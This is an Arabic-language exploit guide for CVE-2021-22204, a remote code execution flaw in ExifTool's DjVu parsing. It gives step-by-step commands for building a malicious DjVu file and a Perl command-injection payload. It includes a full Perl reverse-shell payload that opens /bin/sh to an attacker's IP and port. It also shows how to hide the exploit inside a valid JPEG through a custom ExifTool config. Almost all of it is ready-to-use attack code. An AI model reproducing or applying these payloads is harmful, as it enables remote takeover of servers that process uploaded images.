
نص برمجي لاستغلال CVE-2021-22204، وهو ثغرة RCE في ExifTool عبر ملفات DjVu الخبيثة، مع خطوات استغلال يدوية وحمولات قشرة عكسية.
يؤدي التعادل غير السليم لبيانات المستخدم في تنسيق ملف DjVu في إصدارات ExifTool 7.44 وما فوق إلى تنفيذ تعليمات برمجية عشوائية عند تحليل الصورة الخبيثة.

أمر النظام:
bash CVE-2021-2204.sh "system('id')" happy.jpg
قذيفة عكسية
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*عنوان IP والمنفذ الخاص بك
$ sudo apt install djvulibre-bin
# تثبيت الأدوات المطلوبة
$ bzz payload payload.bzz
# ضغط ملف الحمولة الخاص بنا لجعله غير قابل للقراءة البشرية
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = أي شيء في التنسيق 'N,N' حيث N هو رقم
# BGjp = يتوقع صورة JPEG، لكن يمكننا استخدام /dev/null لاستخدام لا شيء كصورة خلفية
# ANTz = سيكتب جزء التعليقات المضغوط مع ملف الإدخال
الحمولة
(metadata "\c${system('id')};")
الحمولة (للقذيفة العكسية)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
ثم، عندما يفتح الضحية الملف exploit.djvu بإصدار ضعيف من Exiftool، ستنفذ شفرة Perl المضمنة لدينا الأمر id.
%Image::ExifTool::UserDefined = (
# تتم إضافة جميع علامات EXIF إلى الجدول الرئيسي، ويتم استخدام WriteGroup لتحديد أين يتم كتابة العلامة (الافتراضي هو ExifIFD إذا لم يتم تحديده):
'Image::ExifTool::Exif::Main' => {
# مثال 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# أضف المزيد من علامات EXIF المخصصة هنا...
},
);
1; #end%
ما يفعله هذا الملف هو تمكيننا من كتابة علامة جديدة على الملف، باسم HasselbladExif والبايتات 0xc51b لتحديدها داخل ملفنا الجديد. ثم يمكننا إدراجها داخل أي ملف. [8]ثم استخدمها وملف exploit.djvu الذي أعددناه مسبقًا لإدراج ملف DjVu الخبيث داخل صورة JPEG صالحة.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = اسم ملف الإعداد الخاص بنا;
-HasselbladExif = اسم العلامة المحددة في ملف الإعداد;
exploit.djvu = ملف الاستغلال الخاص بنا، الذي تم إنشاؤه سابقًا باستخدام djvumake;
hacker.jpg = ملف JPEG صالح;